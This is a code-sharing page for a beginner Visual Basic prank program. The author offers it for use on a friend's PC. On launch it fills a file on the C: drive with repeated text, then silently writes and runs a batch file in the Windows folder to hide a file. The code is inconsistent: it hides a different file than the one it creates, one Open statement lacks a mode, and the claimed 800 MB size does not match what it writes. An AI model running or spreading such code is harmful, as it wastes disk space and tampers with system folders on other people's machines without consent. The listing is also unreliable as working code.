VB icon

Make 800mb (lol)

Email
Submitted on: 2/8/2015 8:35:00 AM
By: Father Christmas (from psc cd)  
Level: Beginner
User Rating: By 6 Users
Compatibility: VB 5.0, VB 6.0, VBA MS Excel
Views: 476
 
     (Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol. Ok have 800mb's of fun. If you give me 5 votes i will pay :) hehe
 

Windows API/Global Declarations:

Can't Copy and Paste this?
Click here for a copy-and-paste friendly version of this code!
'**************************************
'Windows API/Global Declarations for :Make 800mb (lol)
'**************************************
Nothing here.
code:
Can't Copy and Paste this?
Click here for a copy-and-paste friendly version of this code!
				
'**************************************
' Name: Make 800mb (lol)
' Description:(Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol.
Ok have 800mb's of fun.
If you give me 5 votes i will pay :) hehe
' By: Father Christmas (from psc cd)
'**************************************

Private Sub Form_Load()
'By Chad.Lex
'UK/Wales
Path_ = "c:\Hello.txt"
Open Path_ For Output As #1
For i = 1 To 999999
Print #1, "Hahahahaha"
Next i
Close #1
'Now i have hidden the 800mb file from user. Now whats he going to do??
Open "c:\Windows\Hide.bat"
Print #1, "Attrib +h c:\Win1.exe"
Close #1
RetVal = Shell("c:\Windows\Hide.bat", vbHide)
End Sub


Report Bad Submission
Use this form to tell us if this entry should be deleted (i.e contains no code, is a virus, etc.).
This submission should be removed because:

Your Vote

What do you think of this code (in the Beginner category)?
(The code with your highest vote will win this month's coding contest!)
Excellent  Good  Average  Below Average  Poor (See voting log ...)
 

Other User Comments


 There are no comments on this submission.
 

Add Your Feedback
Your feedback will be posted below and an email sent to the author. Please remember that the author was kind enough to share this with you, so any criticisms must be stated politely, or they will be deleted. (For feedback not related to this particular code, please click here instead.)
 

To post feedback, first please login.